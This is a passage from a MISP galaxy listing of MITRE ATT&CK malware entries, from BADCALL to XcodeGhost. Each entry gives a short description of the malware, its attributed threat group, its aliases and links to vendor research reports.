[BADCALL](https://attack.mitre.org/software/S0245) is a Trojan malware variant used by the group [Lazarus Group](https://attack.mitre.org/groups/G0032). (Citation: US-CERT BADCALL)

The tag is: *misp-galaxy:mitre-malware="BADCALL - S0245"*

BADCALL - S0245 is also known as:

- BADCALL

Table 11419. Table References

Links
https://attack.mitre.org/software/S0245
https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF

PLAINTEE - S0254

[PLAINTEE](https://attack.mitre.org/software/S0254) is a malware sample that has been used by [Rancor](https://attack.mitre.org/groups/G0075) in targeted attacks in Singapore and Cambodia. (Citation: Rancor Unit42 June 2018)

The tag is: *misp-galaxy:mitre-malware="PLAINTEE - S0254"*

PLAINTEE - S0254 is also known as:

- PLAINTEE

Table 11420. Table References

Links
https://attack.mitre.org/software/S0254
https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/

USBferry - S0452

[USBferry](https://attack.mitre.org/software/S0452) is an information stealing malware and has been used by [Tropic Trooper](https://attack.mitre.org/groups/G0081) in targeted attacks against Taiwanese and Philippine air-gapped military environments. [USBferry](https://attack.mitre.org/software/S0452) shares an overlapping codebase with [YAHOYAH](https://attack.mitre.org/software/S0388), though it has several features which makes it a distinct piece of malware.(Citation: TrendMicro Tropic Trooper May 2020)

The tag is: *misp-galaxy:mitre-malware="USBferry - S0452"*

USBferry - S0452 is also known as:

- USBferry

Table 11421. Table References

Links
https://attack.mitre.org/software/S0452
https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf

CARROTBAT - S0462

[CARROTBAT](https://attack.mitre.org/software/S0462) is a customized dropper that has been in use since at least 2017. [CARROTBAT](https://attack.mitre.org/software/S0462) has been used to install [SYSCON](https://attack.mitre.org/software/S0464) and has infrastructure overlap with [KONNI](https://attack.mitre.org/software/S0356).(Citation: Unit 42 CARROTBAT November 2018)(Citation: Unit 42 CARROTBAT January 2020)

The tag is: *misp-galaxy:mitre-malware="CARROTBAT - S0462"*

CARROTBAT - S0462 is also known as:

- CARROTBAT

Table 11422. Table References

Links
https://attack.mitre.org/software/S0462
https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/
https://unit42.paloaltonetworks.com/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/

HARDRAIN - S0246

[HARDRAIN](https://attack.mitre.org/software/S0246) is a Trojan malware variant reportedly used by the North Korean government. (Citation: US-CERT HARDRAIN March 2018)

The tag is: *misp-galaxy:mitre-malware="HARDRAIN - S0246"*

HARDRAIN - S0246 is also known as:

- HARDRAIN

Table 11423. Table References

Links
https://attack.mitre.org/software/S0246
https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf

BADFLICK - S0642

[BADFLICK](https://attack.mitre.org/software/S0642) is a backdoor used by [Leviathan](https://attack.mitre.org/groups/G0065) in spearphishing campaigns first reported in 2018 that targeted the U.S. engineering and maritime industries.(Citation: FireEye Periscope March 2018)(Citation: Accenture MUDCARP March 2019)

The tag is: *misp-galaxy:mitre-malware="BADFLICK - S0642"*

BADFLICK - S0642 is also known as:

- BADFLICK

Table 11424. Table References

Links
https://attack.mitre.org/software/S0642
https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html

OopsIE - S0264

[OopsIE](https://attack.mitre.org/software/S0264) is a Trojan used by [OilRig](https://attack.mitre.org/groups/G0049) to remotely execute commands as well as upload/download files to/from victims. (Citation: Unit 42 OopsIE! Feb 2018)

The tag is: *misp-galaxy:mitre-malware="OopsIE - S0264"*

OopsIE - S0264 is also known as:

- OopsIE

Table 11425. Table References

Links
https://attack.mitre.org/software/S0264
https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/
https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/

Ecipekac - S0624

[Ecipekac](https://attack.mitre.org/software/S0624) is a multi-layer loader that has been used by [menuPass](https://attack.mitre.org/groups/G0045) since at least 2019 including use as a loader for [P8RAT](https://attack.mitre.org/software/S0626), [SodaMaster](https://attack.mitre.org/software/

S0627), and [FYAnti](https://attack.mitre.org/software/S0628).(Citation: Securelist APT10 March 2021)

The tag is: *misp-galaxy:mitre-malware="Ecipekac - S0624"*

Ecipekac - S0624 is also known as:

- Ecipekac
- HEAVYHAND
- SigLoader
- DESLoader

Table 11426. Table References

Links
https://attack.mitre.org/software/S0624
https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/

NavRAT - S0247

[NavRAT](https://attack.mitre.org/software/S0247) is a remote access tool designed to upload, download, and execute files. It has been observed in attacks targeting South Korea. (Citation: Talos NavRAT May 2018)

The tag is: *misp-galaxy:mitre-malware="NavRAT - S0247"*

NavRAT - S0247 is also known as:

- NavRAT

Table 11427. Table References

Links
https://attack.mitre.org/software/S0247
https://blog.talosintelligence.com/2018/05/navrat.html

Calisto - S0274

[Calisto](https://attack.mitre.org/software/S0274) is a macOS Trojan that opens a backdoor on the compromised machine. [Calisto](https://attack.mitre.org/software/S0274) is believed to have first been developed in 2016. (Citation: Securelist Calisto July 2018) (Citation: Symantec Calisto July 2018)

The tag is: *misp-galaxy:mitre-malware="Calisto - S0274"*

Calisto - S0274 is also known as:

- Calisto

Table 11428. Table References

Links
https://attack.mitre.org/software/S0274
https://securelist.com/calisto-trojan-for-macos/86543/
https://web.archive.org/web/20190111082249/https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days

TrickMo - S0427

[TrickMo](https://attack.mitre.org/software/S0427) a 2FA bypass mobile banking trojan, most likely being distributed by [TrickBot](https://attack.mitre.org/software/S0266). [TrickMo](https://attack.mitre.org/software/S0427) has been primarily targeting users located in Germany.(Citation: SecurityIntelligence TrickMo)

[TrickMo](https://attack.mitre.org/software/S0427) is designed to steal transaction authorization numbers (TANs), which are typically used as one-time passwords.(Citation: SecurityIntelligence TrickMo)

The tag is: *misp-galaxy:mitre-malware="TrickMo - S0427"*

TrickMo - S0427 is also known as:

- TrickMo

Table 11429. Table References

Links
https://attack.mitre.org/software/S0427
https://securityintelligence.com/posts/trickbot-pushing-a-2fa-bypass-app-to-bank-customers-in-germany/

down_new - S0472

```
[down_new](https://attack.mitre.org/software/S0472) is a downloader that has been used
by [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) since at least
2019.(Citation: Trend Micro Tick November 2019)
```

The tag is: *misp-galaxy:mitre-malware="down_new - S0472"*

down_new - S0472 is also known as:

- down_new

Table 11430. Table References

Links

https://attack.mitre.org/software/S0472
https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf

PoetRAT - S0428

[PoetRAT](https://attack.mitre.org/software/S0428) is a remote access trojan (RAT) that was first identified in April 2020. [PoetRAT](https://attack.mitre.org/software/S0428) has been used in multiple campaigns against the private and public sectors in Azerbaijan, including ICS and SCADA systems in the energy sector. The STIBNITE activity group has been observed using the malware. [PoetRAT](https://attack.mitre.org/software/S0428) derived its name from references in the code to poet William Shakespeare. (Citation: Talos PoetRAT April 2020)(Citation: Talos PoetRAT October 2020)(Citation: Dragos Threat Report 2020)

The tag is: *misp-galaxy:mitre-malware="PoetRAT - S0428"*

PoetRAT - S0428 is also known as:

- PoetRAT

Table 11431. Table References

Links
https://attack.mitre.org/software/S0428
https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html
https://blog.talosintelligence.com/2020/10/poetrat-update.html
https://hub.dragos.com/hubfs/Year-in-Review/Dragos_2020_ICS_Cybersecurity_Year_In_Review.pdf?hsCtaTracking=159c0fc3-92d8-425d-aeb8-12824f2297e8%7Cf163726d-579b-4996-9a04-44e5a124d770

Bundlore - S0482

[Bundlore](https://attack.mitre.org/software/S0482) is adware written for macOS that has been in use since at least 2015. Though categorized as adware, [Bundlore](https://attack.mitre.org/software/S0482) has many features associated with more traditional backdoors.(Citation: MacKeeper Bundlore Apr 2019)

The tag is: *misp-galaxy:mitre-malware="Bundlore - S0482"*

Bundlore - S0482 is also known as:

- Bundlore
- OSX.Bundlore

Table 11432. Table References

Links

https://attack.mitre.org/software/S0482
https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/

More_eggs - S0284

[More_eggs](https://attack.mitre.org/software/S0284) is a JScript backdoor used by [Cobalt Group](https://attack.mitre.org/groups/G0080) and [FIN6](https://attack.mitre.org/groups/G0037). Its name was given based on the variable "More_eggs" being present in its code. There are at least two different versions of the backdoor being used, version 2.0 and version 4.4. (Citation: Talos Cobalt Group July 2018)(Citation: Security Intelligence More Eggs Aug 2019)

The tag is: *misp-galaxy:mitre-malware="More_eggs - S0284"*

More_eggs - S0284 is also known as:

- More_eggs
- SKID
- Terra Loader
- SpicyOmelette

Table 11433. Table References

Links
https://attack.mitre.org/software/S0284
https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/
https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf
https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/

yty - S0248

[yty](https://attack.mitre.org/software/S0248) is a modular, plugin-based malware framework. The components of the framework are written in a variety of programming languages. (Citation: ASERT Donot March 2018)

The tag is: *misp-galaxy:mitre-malware="yty - S0248"*

yty - S0248 is also known as:

- yty

Table 11434. Table References

Links
https://attack.mitre.org/software/S0248
https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/

ShiftyBug - S0294

[ShiftyBug](https://attack.mitre.org/software/S0294) is an auto-rooting adware family of malware for Android. The family is very similar to the other Android families known as Shedun, Shuanet, Kemoge, though it is not believed all the families were created by the same group. (Citation: Lookout-Adware)

The tag is: *misp-galaxy:mitre-malware="ShiftyBug - S0294"*

View relationships graph

ShiftyBug - S0294 has relationships with:

- similar: misp-galaxy:android="Kemoge" with estimative-language:likelihood-probability="likely"

Table 11435. Table References

Links
https://attack.mitre.org/software/S0294
https://blog.lookout.com/blog/2015/11/04/trojanized-adware/

CookieMiner - S0492

[CookieMiner](https://attack.mitre.org/software/S0492) is mac-based malware that targets information associated with cryptocurrency exchanges as well as enabling cryptocurrency mining on the victim system itself. It was first discovered in the wild in 2019.(Citation: Unit42 CookieMiner Jan 2019)

The tag is: *misp-galaxy:mitre-malware="CookieMiner - S0492"*

CookieMiner - S0492 is also known as:

- CookieMiner

Table 11436. Table References

Links
https://attack.mitre.org/software/S0492
https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/

Pay2Key - S0556

[Pay2Key](https://attack.mitre.org/software/S0556) is a ransomware written in C++ that has been used by [Fox Kitten](https://attack.mitre.org/groups/G0117) since at least July 2020 including campaigns against Israeli companies. [Pay2Key](https://attack.mitre.org/software/S0556) has been incorporated with a leak site to display stolen sensitive information to further pressure victims into payment.(Citation: ClearkSky Fox Kitten February 2020)(Citation: Check Point Pay2Key November 2020)

The tag is: *misp-galaxy:mitre-malware="Pay2Key - S0556"*

Pay2Key - S0556 is also known as:

- Pay2Key

Table 11437. Table References

Links
https://attack.mitre.org/software/S0556
https://research.checkpoint.com/2020/ransomware-alert-pay2key/
https://www.clearskysec.com/fox-kitten/

DDKONG - S0255

[DDKONG](https://attack.mitre.org/software/S0255) is a malware sample that was part of a campaign by [Rancor](https://attack.mitre.org/groups/G0075). [DDKONG](https://attack.mitre.org/software/S0255) was first seen used in February 2017. (Citation: Rancor Unit42 June 2018)

The tag is: *misp-galaxy:mitre-malware="DDKONG - S0255"*

DDKONG - S0255 is also known as:

- DDKONG

Table 11438. Table References

Links
https://attack.mitre.org/software/S0255
https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/

MarkiRAT - S0652

[MarkiRAT](https://attack.mitre.org/software/S0652) is a remote access Trojan (RAT) compiled with Visual Studio that has been used by [Ferocious Kitten](https://attack.mitre.org/groups/G0137) since at least 2015.(Citation: Kaspersky Ferocious Kitten Jun 2021)

The tag is: *misp-galaxy:mitre-malware="MarkiRAT - S0652"*

MarkiRAT - S0652 is also known as:

- MarkiRAT

Table 11439. Table References

Links
https://attack.mitre.org/software/S0652
https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/

Cuba - S0625

[Cuba](https://attack.mitre.org/software/S0625) is a Windows-based ransomware family that has been used against financial institutions, technology, and logistics organizations in North and South America as well as Europe since at least December 2019.(Citation: McAfee Cuba April 2021)

The tag is: *misp-galaxy:mitre-malware="Cuba - S0625"*

Cuba - S0625 is also known as:

- Cuba

Table 11440. Table References

Links
https://attack.mitre.org/software/S0625
https://www.mcafee.com/enterprise/en-us/assets/reports/rp-cuba-ransomware.pdf

KGH_SPY - S0526

[KGH_SPY](https://attack.mitre.org/software/S0526) is a modular suite of tools used by [Kimsuky](https://attack.mitre.org/groups/G0094) for reconnaissance, information stealing, and backdoor capabilities. [KGH_SPY](https://attack.mitre.org/software/S0526) derived its name from PDB paths and internal names found in samples containing "KGH".(Citation: Cybereason Kimsuky November 2020)

The tag is: *misp-galaxy:mitre-malware="KGH_SPY - S0526"*

KGH_SPY - S0526 is also known as:

- KGH_SPY

Table 11441. Table References

Links
https://attack.mitre.org/software/S0526
https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite

Kazuar - S0265

[Kazuar](https://attack.mitre.org/software/S0265) is a fully featured, multi-platform backdoor Trojan written using the Microsoft .NET framework. (Citation: Unit 42 Kazuar May 2017)

The tag is: *misp-galaxy:mitre-malware="Kazuar - S0265"*

Kazuar - S0265 is also known as:

- Kazuar

Table 11442. Table References

Links
https://attack.mitre.org/software/S0265
https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/

Mosquito - S0256

[Mosquito](https://attack.mitre.org/software/S0256) is a Win32 backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010). [Mosquito](https://attack.mitre.org/software/S0256) is made up of three parts: the installer, the launcher, and the backdoor. The main backdoor is called CommanderDLL and is launched by the loader program. (Citation: ESET Turla Mosquito Jan 2018)

The tag is: *misp-galaxy:mitre-malware="Mosquito - S0256"*

Mosquito - S0256 is also known as:

- Mosquito

Table 11443. Table References

Links
https://attack.mitre.org/software/S0256
https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf

SUNSPOT - S0562

[SUNSPOT](https://attack.mitre.org/software/S0562) is an implant that injected the [SUNBURST](https://attack.mitre.org/software/S0559) backdoor into the SolarWinds Orion software update framework. It was used by [APT29](https://attack.mitre.org/groups/G0016) since at least February 2020.(Citation: CrowdStrike SUNSPOT Implant January 2021)

The tag is: *misp-galaxy:mitre-malware="SUNSPOT - S0562"*

SUNSPOT - S0562 is also known as:

- SUNSPOT

Table 11444. Table References

Links
https://attack.mitre.org/software/S0562
https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/

UPPERCUT - S0275

[UPPERCUT](https://attack.mitre.org/software/S0275) is a backdoor that has been used by [menuPass](https://attack.mitre.org/groups/G0045). (Citation: FireEye APT10 Sept 2018)

The tag is: *misp-galaxy:mitre-malware="UPPERCUT - S0275"*

UPPERCUT - S0275 is also known as:

- UPPERCUT
- ANEL

Table 11445. Table References

Links
https://attack.mitre.org/software/S0275
https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html

VERMIN - S0257

[VERMIN](https://attack.mitre.org/software/S0257) is a remote access tool written in the Microsoft .NET framework. It is mostly composed of original code, but also has some open source code. (Citation: Unit 42 VERMIN Jan 2018)

The tag is: *misp-galaxy:mitre-malware="VERMIN - S0257"*

VERMIN - S0257 is also known as:

- VERMIN

Table 11446. Table References

Links
https://attack.mitre.org/software/S0257
https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/

LookBack - S0582

[LookBack](https://attack.mitre.org/software/S0582) is a remote access trojan written in C++ that

was used against at least three US utility companies in July 2019. The TALONITE activity group has been observed using [LookBack](https://attack.mitre.org/software/S0582).(Citation: Proofpoint LookBack Malware Aug 2019)(Citation: Dragos TALONITE)(Citation: Dragos Threat Report 2020)

The tag is: *misp-galaxy:mitre-malware="LookBack - S0582"*

LookBack - S0582 is also known as:

- LookBack

Table 11447. Table References

Links
https://attack.mitre.org/software/S0582
https://hub.dragos.com/hubfs/Year-in-Review/Dragos_2020_ICS_Cybersecurity_Year_In_Review.pdf?hsCtaTracking=159c0fc3-92d8-425d-aeb8-12824f2297e8%7Cf163726d-579b-4996-9a04-44e5a124d770
https://www.dragos.com/threat/talonite/
https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks

OldBoot - S0285

[OldBoot](https://attack.mitre.org/software/S0285) is an Android malware family. (Citation: HackerNews-OldBoot)

The tag is: *misp-galaxy:mitre-malware="OldBoot - S0285"*

Table 11448. Table References

Links
http://thehackernews.com/2014/01/first-widely-distributed-android.html
https://attack.mitre.org/software/S0285

RGDoor - S0258

[RGDoor](https://attack.mitre.org/software/S0258) is a malicious Internet Information Services (IIS) backdoor developed in the C++ language. [RGDoor](https://attack.mitre.org/software/S0258) has been seen deployed on webservers belonging to the Middle East government organizations. [RGDoor](https://attack.mitre.org/software/S0258) provides backdoor access to compromised IIS servers. (Citation: Unit 42 RGDoor Jan 2018)

The tag is: *misp-galaxy:mitre-malware="RGDoor - S0258"*

RGDoor - S0258 is also known as:

- RGDoor

Table 11449. Table References

Links
https://attack.mitre.org/software/S0258
https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/

Javali - S0528

[Javali](https://attack.mitre.org/software/S0528) is a banking trojan that has targeted Portuguese and Spanish-speaking countries since 2017, primarily focusing on customers of financial institutions in Brazil and Mexico.(Citation: Securelist Brazilian Banking Malware July 2020)

The tag is: *misp-galaxy:mitre-malware="Javali - S0528"*

Javali - S0528 is also known as:

- Javali

Table 11450. Table References

Links
https://attack.mitre.org/software/S0528
https://securelist.com/the-tetrade-brazilian-banking-malware/97779/

RCSAndroid - S0295

[RCSAndroid](https://attack.mitre.org/software/S0295) is Android malware. (Citation: TrendMicro-RCSAndroid)

The tag is: *misp-galaxy:mitre-malware="RCSAndroid - S0295"*

RCSAndroid - S0295 is also known as:

- RCSAndroid

Table 11451. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-rcsandroid-spying-tool-listens-to-calls-roots-devices-to-get-in/
https://attack.mitre.org/software/S0295

InnaputRAT - S0259

[InnaputRAT](https://attack.mitre.org/software/S0259) is a remote access tool that can exfiltrate files from a victim's machine. [InnaputRAT](https://attack.mitre.org/software/S0259) has been seen out in the wild since 2016. (Citation: ASERT InnaputRAT April 2018)

The tag is: *misp-galaxy:mitre-malware="InnaputRAT - S0259"*

InnaputRAT - S0259 is also known as:

- InnaputRAT

Table 11452. Table References

Links
https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/
https://attack.mitre.org/software/S0259

CarbonSteal - S0529

[CarbonSteal](https://attack.mitre.org/software/S0529) is one of a family of four surveillanceware tools that share a common C2 infrastructure. [CarbonSteal](https://attack.mitre.org/software/S0529) primarily deals with audio surveillance. (Citation: Lookout Uyghur Campaign)

The tag is: *misp-galaxy:mitre-malware="CarbonSteal - S0529"*

CarbonSteal - S0529 is also known as:

- CarbonSteal

Table 11453. Table References

Links
https://attack.mitre.org/software/S0529
https://www.lookout.com/documents/threat-reports/us/lookout-uyghur-malware-tr-us.pdf

P8RAT - S0626

[P8RAT](https://attack.mitre.org/software/S0626) is a fileless malware used by [menuPass](https://attack.mitre.org/groups/G0045) to download and execute payloads since at least 2020.(Citation: Securelist APT10 March 2021)

The tag is: *misp-galaxy:mitre-malware="P8RAT - S0626"*

P8RAT - S0626 is also known as:

- P8RAT
- HEAVYPOT
- GreetCake

Table 11454. Table References

Links

https://attack.mitre.org/software/S0626
https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/

TrickBot - S0266

[TrickBot](https://attack.mitre.org/software/S0266) is a Trojan spyware program written in C++ that first emerged in September 2016 as a possible successor to [Dyre](https://attack.mitre.org/software/S0024). [TrickBot](https://attack.mitre.org/software/S0266) was developed and initially used by [Wizard Spider](https://attack.mitre.org/groups/G0102) for targeting banking sites in North America, Australia, and throughout Europe; it has since been used against all sectors worldwide as part of "big game hunting" ransomware campaigns.(Citation: S2 Grupo TrickBot June 2017)(Citation: Fidelis TrickBot Oct 2016)(Citation: IBM TrickBot Nov 2016)(Citation: CrowdStrike Wizard Spider October 2020)

The tag is: *misp-galaxy:mitre-malware="TrickBot - S0266"*

TrickBot - S0266 is also known as:

- TrickBot
- Totbrick
- TSPY_TRICKLOAD

Table 11455. Table References

Links
https://attack.mitre.org/software/S0266
https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/
https://securityintelligence.com/tricks-of-the-trade-a-deeper-look-into-trickbots-machinations/
https://www.crowdstrike.com/blog/wizard-spider-adversary-update/
https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Totbrick
https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n

RCSession - S0662

[RCSession](https://attack.mitre.org/software/S0662) is a backdoor written in C++ that has been in use since at least 2018 by [Mustang Panda](https://attack.mitre.org/groups/G0129) and by [Threat Group-3390](https://attack.mitre.org/groups/G0027) (Type II Backdoor).(Citation: Secureworks BRONZE PRESIDENT December 2019)(Citation: Trend Micro Iron Tiger April 2021)(Citation: Trend Micro DRBControl February 2020)

The tag is: *misp-galaxy:mitre-malware="RCSession - S0662"*

RCSession - S0662 is also known as:

- RCSession

Table 11456. Table References

Links
https://attack.mitre.org/software/S0662
https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf
https://www.secureworks.com/research/bronze-president-targets-ngos
https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html

FELIXROOT - S0267

[FELIXROOT](https://attack.mitre.org/software/S0267) is a backdoor that has been used to target Ukrainian victims. (Citation: FireEye FELIXROOT July 2018)

The tag is: *misp-galaxy:mitre-malware="FELIXROOT - S0267"*

FELIXROOT - S0267 is also known as:

- FELIXROOT
- GreyEnergy mini

Table 11457. Table References

Links
https://attack.mitre.org/software/S0267
https://web.archive.org/web/20200607025424/https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html
https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf

Keydnap - S0276

This piece of malware steals the content of the user's keychain while maintaining a permanent backdoor (Citation: OSX Keydnap malware).

The tag is: *misp-galaxy:mitre-malware="Keydnap - S0276"*

Keydnap - S0276 is also known as:

- Keydnap
- OSX/Keydnap

Table 11458. Table References

Links
https://attack.mitre.org/software/S0276
https://objective-see.org/blog/blog_0x16.html
https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/

SodaMaster - S0627

[SodaMaster](https://attack.mitre.org/software/S0627) is a fileless malware used by [menuPass](https://attack.mitre.org/groups/G0045) to download and execute payloads since at least 2020.(Citation: Securelist APT10 March 2021)

The tag is: *misp-galaxy:mitre-malware="SodaMaster - S0627"*

SodaMaster - S0627 is also known as:

- SodaMaster
- DARKTOWN
- dfls
- DelfsCake

Table 11459. Table References

Links
https://attack.mitre.org/software/S0627
https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/

Zox - S0672

[Zox](https://attack.mitre.org/software/S0672) is a remote access tool that has been used by [Axiom](https://attack.mitre.org/groups/G0001) since at least 2008.(Citation: Novetta-Axiom)

The tag is: *misp-galaxy:mitre-malware="Zox - S0672"*

Zox - S0672 is also known as:

- Zox
- Gresim
- ZoxRPC
- ZoxPNG

Table 11460. Table References

Links

https://attack.mitre.org/software/S0672
https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf

OBAD - S0286

OBAD is an Android malware family. (Citation: TrendMicro-Obad)

The tag is: *misp-galaxy:mitre-malware="OBAD - S0286"*

Table 11461. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/cybercriminals-improve-android-malware-stealth-routines-with-obad/
https://attack.mitre.org/software/S0286

FYAnti - S0628

[FYAnti](https://attack.mitre.org/software/S0628) is a loader that has been used by [menuPass](https://attack.mitre.org/groups/G0045) since at least 2020, including to deploy [QuasarRAT](https://attack.mitre.org/software/S0262).(Citation: Securelist APT10 March 2021)

The tag is: *misp-galaxy:mitre-malware="FYAnti - S0628"*

FYAnti - S0628 is also known as:

- FYAnti
- DILLJUICE stage2

Table 11462. Table References

Links
https://attack.mitre.org/software/S0628
https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/

TrailBlazer - S0682

[TrailBlazer](https://attack.mitre.org/software/S0682) is a modular malware that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2019.(Citation: CrowdStrike StellarParticle January 2022)

The tag is: *misp-galaxy:mitre-malware="TrailBlazer - S0682"*

TrailBlazer - S0682 is also known as:

- TrailBlazer

Table 11463. Table References

Links
https://attack.mitre.org/software/S0682
https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/

Bisonal - S0268

[Bisonal](https://attack.mitre.org/software/S0268) is a remote access tool (RAT) that has been used by [Tonto Team](https://attack.mitre.org/groups/G0131) against public and private sector organizations in Russia, South Korea, and Japan since at least December 2010.(Citation: Unit 42 Bisonal July 2018)(Citation: Talos Bisonal Mar 2020)

The tag is: *misp-galaxy:mitre-malware="Bisonal - S0268"*

Bisonal - S0268 is also known as:

- Bisonal

Table 11464. Table References

Links
https://attack.mitre.org/software/S0268
https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html
https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/

QUADAGENT - S0269

[QUADAGENT](https://attack.mitre.org/software/S0269) is a PowerShell backdoor used by [OilRig](https://attack.mitre.org/groups/G0049). (Citation: Unit 42 QUADAGENT July 2018)

The tag is: *misp-galaxy:mitre-malware="QUADAGENT - S0269"*

QUADAGENT - S0269 is also known as:

- QUADAGENT

Table 11465. Table References

Links
https://attack.mitre.org/software/S0269
https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/

RainyDay - S0629

[RainyDay](https://attack.mitre.org/software/S0629) is a backdoor tool that has been used by [Naikon](https://attack.mitre.org/groups/G0019) since at least 2020.(Citation: Bitdefender Naikon April 2021)

The tag is: *misp-galaxy:mitre-malware="RainyDay - S0629"*

RainyDay - S0629 is also known as:

- RainyDay

Table 11466. Table References

Links
https://attack.mitre.org/software/S0629
https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf

FruitFly - S0277

FruitFly is designed to spy on mac users (Citation: objsee mac malware 2017).

The tag is: *misp-galaxy:mitre-malware="FruitFly - S0277"*

FruitFly - S0277 is also known as:

- FruitFly

Table 11467. Table References

Links
https://attack.mitre.org/software/S0277
https://objective-see.com/blog/blog_0x25.html

ZergHelper - S0287

[ZergHelper](https://attack.mitre.org/software/S0287) is iOS riskware that was unique due to its apparent evasion of Apple's App Store review process. No malicious functionality was identified in the app, but it presents security risks. (Citation: Xiao-ZergHelper)

The tag is: *misp-galaxy:mitre-malware="ZergHelper - S0287"*

Table 11468. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/02/pirated-ios-app-stores-client-successfully-evaded-apple-ios-code-review/

https://attack.mitre.org/software/S0287

iKitten - S0278

[iKitten](https://attack.mitre.org/software/S0278) is a macOS exfiltration agent (Citation: objsee mac malware 2017).

The tag is: *misp-galaxy:mitre-malware="iKitten - S0278"*

iKitten - S0278 is also known as:

- iKitten
- OSX/MacDownloader

Table 11469. Table References

Links
https://attack.mitre.org/software/S0278
https://objective-see.com/blog/blog_0x25.html

XcodeGhost - S0297

[XcodeGhost](https://attack.mitre.org/software/S0297) is iOS malware that infected at least 39 iOS apps in 2015 and potentially affected millions of users. (Citation: PaloAlto-XcodeGhost1) (Citation: PaloAlto-XcodeGhost)

The tag is: *misp-galaxy:mitre-malware="XcodeGhost - S0297"*

Table 11470. Table References

Links
http://researchcenter.paloaltonetworks.com/2015/09/novel-malware-xcodeghost-modifies-xcode-infects-apple-ios-apps-and-hits-app-store/
http://researchcenter.paloaltonetworks.com/2015/09/update-xcodeghost-attacker-can-phish-passwords-and-open-urls-though-infected-apps/
https://attack.mitre.org/software/S0297

Proton - S0279

